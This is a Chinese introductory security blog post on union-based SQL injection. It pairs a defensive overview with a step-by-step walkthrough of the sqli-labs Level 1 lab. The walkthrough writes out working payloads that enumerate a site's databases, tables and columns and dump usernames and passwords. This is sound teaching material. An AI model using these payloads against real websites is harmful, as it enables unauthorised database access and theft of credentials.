网安入门04-Sql注入(联合查询注入)

什么是SQL注入—来自GPT-4

SQL注入漏洞是一种常见的Web应用程序安全漏洞,它允许攻击者在应用程序的SQL查询中插入恶意代码。这种漏洞可能导致数据泄露、数据篡改、身份冒充和其他严重的安全问题。

SQL注入漏洞通常发生在应用程序未对用户输入进行充分验证和过滤的情况下。攻击者可以通过在输入字段中插入特殊字符和SQL代码,来操纵应用程序生成的SQL查询。这可能导致未经授权的数据访问、数据修改或执行恶意操作。

作为一名软件工程师,我们可以采取以下措施来防止SQL注入漏洞:

  1. 输入验证:对用户输入进行严格的验证,确保输入数据符合预期的格式和范围。拒绝包含特殊字符或SQL关键字的输入。

  2. 参数化查询:使用参数化查询(也称为预编译语句或绑定变量)来防止SQL注入。这种方法将用户输入与SQL查询分开处理,确保输入数据不会被解释为SQL代码。

  3. 使用存储过程:将数据库操作封装在存储过程中,以减少直接在应用程序中编写SQL查询的需求。存储过程可以帮助限制对数据库的访问权限,并提供更好的安全性。

  4. 最小权限原则:为应用程序数据库账户分配最小必要权限,以限制潜在的恶意操作。例如,如果应用程序只需要读取数据,不要授予写入权限。

  5. 数据库错误信息处理:避免将详细的数据库错误信息返回给用户。这些信息可能会泄露数据库结构和其他敏感信息,为攻击者提供有价值的线索。

  6. 使用Web应用程序防火墙(WAF):部署WAF可以帮助检测和阻止SQL注入攻击。WAF可以根据预定义的规则集来识别和拦截恶意请求。

我的理解

程序员在编写服务端与数据库交互的代码时,没有考虑到不法分子的存在,过度的相信了用户的输入,没有对用户可控的参数进行过滤和校验,导致注入点的产生,导致不法分子窃取数据库中的数据。

案例:sqlilabs第一关

mysql 手工注入方法

?id=1'(测试是否存在注入,报错则存在)

?id=1'-- -(注释后面多余的’limit 0,1 页面正常)

?id=1'order by n-- -(order 测试字段长度,报错则说明超出最大长度)

?id=-1'union select 1,2,3-- -(测试回显点,找到显示位)

?id=-1'union select 1,2,database()-- -(在页面回显出当前的数据库名字)

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- - (爆出目标表的列名)

?id=-1'union select 1,2,group_concat(username,0x3a,password) from users---(爆出目标列的 字段名字)

tips:打CTF时,不是全部的flag都在当前数据库,有的时候要查询其他数据库,跨库注入最后一步要指定库

?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata-- -(爆出全部数据库)


前四关代码对比

Less1

Less2

Less3

Less4

  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

挑不动

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值